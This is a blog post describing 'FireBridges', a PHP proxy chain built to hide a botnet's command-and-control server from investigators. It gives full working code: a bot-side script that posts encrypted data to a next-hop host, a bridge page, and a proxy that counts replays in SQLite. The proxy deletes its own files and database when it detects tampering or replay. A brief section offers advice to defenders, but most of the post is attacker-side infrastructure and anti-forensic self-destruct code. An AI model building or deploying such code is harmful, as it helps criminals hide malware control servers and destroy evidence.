Overview
I’ve always been semi interested in botnets/trojans and targetted attacks and the way they get their data in and out and how the command and control centres work. One of the things i’d usually do is see if I can determine where the traffic is going from the bot (infected machine) and this would obviously point me to the c&c. I’d then fire up Maltego and start playing with that IP/hostname to see where else it appears, what other things are linked to it and so on. One of the concepts I was playing around with was how could you hide where your c&c and from this FireBridges as a concept where created.
Since we were playing badguy-badguy I decided to think how do the good guys go about taking apart a bot to get to your c&c and i figure it probably works something like this:
* What is c&c.thisisnotnormal.traffic.com – browse to it, portscan, etc
* Look at traffic going to c&c.thisisnotnormal.traffic.com – replay it to see results
* Take apart the traffic and start sending modifying parts to see results
* Go and literally pick up the machine(s) hosting c&c.thisisnotnormal.traffic.com
So how would you go about making these peoples lives a little more painful?
* Make sure no connections go directly to the c&c – route through proxies
* Make sure all traffic is encrypted/encoded and if either fails destroy the proxy
* All proxies look for replay attacks and destroy themselves after a threshhold (could be 1 for the super paranoid)
Basics
From this the idea of Firebridges (really thought it was a cool name but i see there are loads of other things with the same name) were born. The idea is relatively basic:
* You have a series of proxies that dont know about anything apart from the nextHop in the chain
* Proxies all make sure that data passing through is correctly encrypted (checking for tampering)
* Proxies all make sure data is not being replayed
* If a proxy detects something going wrong it removes all files associated with the nextHop leaving the people chasing you with a dead end
Implementation was not too difficult, whipped something up in PHP that works like this:
* All requests to nextHop include a POST variable ‘key’ that contains a key made up of the following (B64(RIJNDAEL256(B64(secretkey))):
1. b64_1 = Base64_encode(‘text’)
2. RIJ_2 = RIJNDAEL_256_encode(b64_1)
3. b64_3 = Base64_encode(RIJ_2)
* All requests hit a ‘bridge.php’ page that does:
* @Include ‘proxy.php’, call function proxyRequest(); which checks auth above and replay attacks via SQLite db
* If proxyRequest() returns false, remove the SQLite database and ‘proxy.php’ script leaving the person chasing you with a 5 line php file that once included something
* If proxyRequest() returns != false, simply return the page to the browser.
Results
Using FireBridges, you can now create a proxy network easily by simply changing the nextHop variable in proxyRequest.php and adding them to machines all over the world that will burn if anyone tampers with them. This means if anyone is investigating why traffic is going to thisisauniquehostname.weareevil.com and decides to browse to it the proxies will burn themselves (and they will get the default apache page – configurable in bridge.php) and by the time they pick up the machine all they will have is 1 php script that gives away nothing. It also means that if these investigators are slightly more resourceful in their approach and try replay the attack after a certain threshold of replays (default is 2) the next replay will burn the proxy. Finally if they are even more resourceful and try tamper with any of the data the proxy will burn on the first attempt presuming it doesn’t match your requirements.
Defenses
So defending against this is pretty tricky but essentially it comes down to the following:
* Always assume a replay threshold of 1 if you see anything like this
* If you spot a c&c then DO NOT TOUCH it networkly prior to making a full image of the machine
* If you are unsure about where the c&c is but can see the traffic, keep monitoring it but do not touch the bridge before picking it up, remember one bad packet could burn the entire route to the c&c
Code
So onto the code (I realise this format sucks, but there are download links for each script below each heading):
firebridge.sqlite (db for checking replays)
1 2 3 4 | sqlite> .TABLES seenKeys sqlite> .schema CREATE TABLE seenKeys(KEY text, count smallint); |
exampleRequest.php (script to request something via fireBridge – used in bot?)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | <?php function createFireBridgeKey($string) { $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB); $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND); $cryptKey = 'Secret_^&Key!@#$FireBr!dge@@112A'; $encodedClearData = base64_encode($string); $encryptedEncodedData = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $cryptKey, $encodedClearData, MCRYPT_MODE_ECB, $iv); $encodedEncryptedEncodedData = base64_encode($encryptedEncodedData); return $encodedEncryptedEncodedData; } function randomData($length = 8) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $result = ''; for ($p = 0; $p < $length; $p++) { $result .= ($p%2) ? $chars[mt_rand(19, 23)] : $chars[mt_rand(0, 18)]; } return $result; } $testString = "This is going to my c&c"; $testString = $testString . randomData(); // just to make sure i dont send the same request too may times (would be a replay then) $testString = createFireBridgeKey($testString); $postArray = array ("key"=>$testString); $ch = curl_init(); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_URL, 'http://next.hop.andrewmohawk.com/fireBridges/bridge.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postArray)); // forward all POST data $output = curl_exec($ch); curl_close($ch); echo $output; ?> |
bridge.php (script initially called)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | <?php $includeFile = "proxyRequest.php"; $dbFile = "firebridge.sqlite"; if(@include $includeFile) { $x = @proxyRequest(); } else { $x = false; } if( $x !== false) { echo $x ; } else { @unlink($includeFile); @unlink($dbFile); echo "<html><body><h1>It works!</h1></body></html>"; } ?> |
proxyRequest.php (actual proxy)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 | <?php function proxyRequest() { /*****************************************/ /* Settings */ /*****************************************/ // Maximum number of times we can see a key before we consider it tampered $threshold = 2; // Determines whether to send the request on to the next hop after seeing that its above threshhold $burnNextHop = True; //where the proxy forwards the request to and returns the response from, can either be another fireBridge or the destination $nextHop = 'http://next.hop.andrewmohawk.com/bridge.php'; //Determine if the 'key' is valid (POST Field) if(checkAuth() !== false) { /* Lets make sure this isnt a replay above our threshhold :) --check in a SQLite db stored with this file. */ //Connect to DB $db = new SQLite3('firebridge.sqlite'); //Sanitize (cant have the firebridges getting compromised) $key = $db->escapeString($_POST["key"]); //Look for the key we have just got back $result = $db->querySingle("SELECT count FROM seenKeys WHERE key='$key'"); if($result !== NULL) { //Determin if this key has been seen too many times (replaying) $num = $result; if($num > $threshold) { //if burnNextHop is set, send the request on to the next hop but dont return the output if($burnNextHop == true) { $ch = curl_init(); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_URL, $nextHop); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($_POST)); // forward all POST data $output = curl_exec($ch); } //Burn it. return false; } else { //If we have seen this key before but it hasnt reached threshold then +1 its count $db->query("UPDATE seenKeys SET count = count + 1 WHERE key='$key'"); } } else { //Haven't seen the key before and it passed the check, insert it into the db $db->query("INSERT Into seenKeys (key,count) VALUES('$key',1)"); } /* If we get to here the request was valid and the key didnt pass the threshhold so we don't suspect replay. Now just go to the nextHop, send on any/all POST fields sent to this page and return the data. */ $ch = curl_init(); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_URL, $nextHop); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($_POST)); // forward all POST data $output = curl_exec($ch); curl_close($ch); return $output; } else { return false; } } /********************************************************** Determines if the post field 'KEY' matches correctly, in this example it needs to be: B64(RIJNDAEL256(B64(secretkey))): Encoding/Encrypting: b64_1 = Base64_encode('text') RIJ_2 = RIJNDAEL_256_encode(b64_1) b64_3 = Base64_encode(RIJ_2) Decoding/Decrypting: b64_1 = Base64_decode(_post_key_) RIJ_2 = RIJNDAEL_256_decode(b64_1) b64_3 = Base64_decode(RIJ_2) /*********************************************************/ function checkAuth() { //Create IV's $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB); $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND); $cryptKey = 'Secret_^&Key!@#$FireBr!dge@@112A'; //Fetch Key from POST $BridgeKey = $_POST["key"]; //First decode, used primarly for sending the encrypted data $BridgeKey = base64_decode($BridgeKey); //if it doesnt decode someone has tampered with the initial B64 - Burn it. if($BridgeKey == false) { return false; } //Decrypt it with our key, decrypted text should be base64 so we can check it decodes easily $decrypttext = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $cryptKey, $BridgeKey, MCRYPT_MODE_ECB, $iv); $finalDecode = base64_decode($decrypttext); //If this doesnt decode someone has tampered with the encrypted text - Burn it. if($finalDecode == false) { return false; } /* Insert your own functions here to check the data that was encoded/encrypted/encoded and now decoded/decrypted/decoded So something like making sure a key matches a certain checksum etc. */ return true; } ?> |
-AM